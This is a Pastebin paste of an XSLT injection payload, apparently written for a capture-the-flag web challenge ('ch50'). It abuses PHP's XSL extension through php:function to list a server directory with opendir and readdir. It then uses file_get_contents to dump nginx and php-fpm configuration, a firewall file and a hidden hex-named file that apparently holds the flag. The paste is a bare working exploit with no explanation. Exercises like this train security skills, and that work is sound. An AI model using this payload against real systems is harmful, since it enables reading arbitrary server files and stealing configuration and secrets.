Advertisement
Guest User

Untitled

a guest
Dec 16th, 2018
78
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 2.36 KB | None | 0 0
  1. <?xml version="1.0" encoding="UTF-8"?>
  2. <html xsl:version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:php="http://php.net/xsl">
  3. <body style="font-family:Arial;font-size:10pt;background-color:#00AAAA">
  4. <xsl:for-each select="beers/beer">
  5. <div style="background-color:teal;color:black;padding:4px">
  6. <span style="font-weight:bold"><xsl:value-of select="name"/> - </span>
  7. <xsl:value-of select="price"/>
  8.  
  9. <xsl:value-of select="php:function('opendir','/challenge/web-serveur/ch50/')"/>
  10. 1<xsl:value-of select="php:function('readdir')"/>
  11. 2<xsl:value-of select="php:function('readdir')"/>
  12. 3<xsl:value-of select="php:function('readdir')"/>
  13. 4<xsl:value-of select="php:function('readdir')"/>
  14. 5<xsl:value-of select="php:function('readdir')"/>
  15. 6<xsl:value-of select="php:function('readdir')"/>
  16. 7<xsl:value-of select="php:function('readdir')"/>
  17. 8<xsl:value-of select="php:function('readdir')"/>
  18. 9<xsl:value-of select="php:function('readdir')"/>
  19. 10<xsl:value-of select="php:function('readdir')"/>
  20. 11<xsl:value-of select="php:function('readdir')"/>
  21. 12<xsl:value-of select="php:function('readdir')"/>
  22. 13<xsl:value-of select="php:function('readdir')"/>
  23. 14<xsl:value-of select="php:function('readdir')"/>
  24. 15<xsl:value-of select="php:function('readdir')"/>
  25. 16<xsl:value-of select="php:function('readdir')"/>
  26. 17<xsl:value-of select="php:function('readdir')"/>
  27. 18<xsl:value-of select="php:function('readdir')"/>
  28. --- beers.xml
  29. <xsl:value-of select="php:function('file_get_contents','beers.xml')"/>
  30. ---
  31. --- _nginx.http-level.inc
  32. <xsl:value-of select="php:function('file_get_contents','_nginx.http-level.inc')"/>
  33. ---
  34. --- ._nginx.server-level.inc
  35. <xsl:value-of select="php:function('file_get_contents','._nginx.server-level.inc')"/>
  36. ---
  37. --- ._firewall
  38. <xsl:value-of select="php:function('file_get_contents','._firewall')"/>
  39. ---
  40. --- ._php-fpm.pool.inc
  41. <xsl:value-of select="php:function('file_get_contents','._php-fpm.pool.inc')"/>
  42. ---
  43. --- .6ff3200bee785801f420fba826ffcdee
  44. <xsl:value-of select="php:function('file_get_contents','.6ff3200bee785801f420fba826ffcdee')"/>
  45. ---
  46.  
  47. </div>
  48. <div style="margin-left:20px;margin-bottom:1em;font-size:12pt">
  49. <p>
  50. <xsl:value-of select="description"/>
  51. <span style="font-style:bold"> (<xsl:value-of select="prct"/> %)</span>
  52. </p>
  53. </div>
  54. </xsl:for-each>
  55. </body>
  56. </html>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement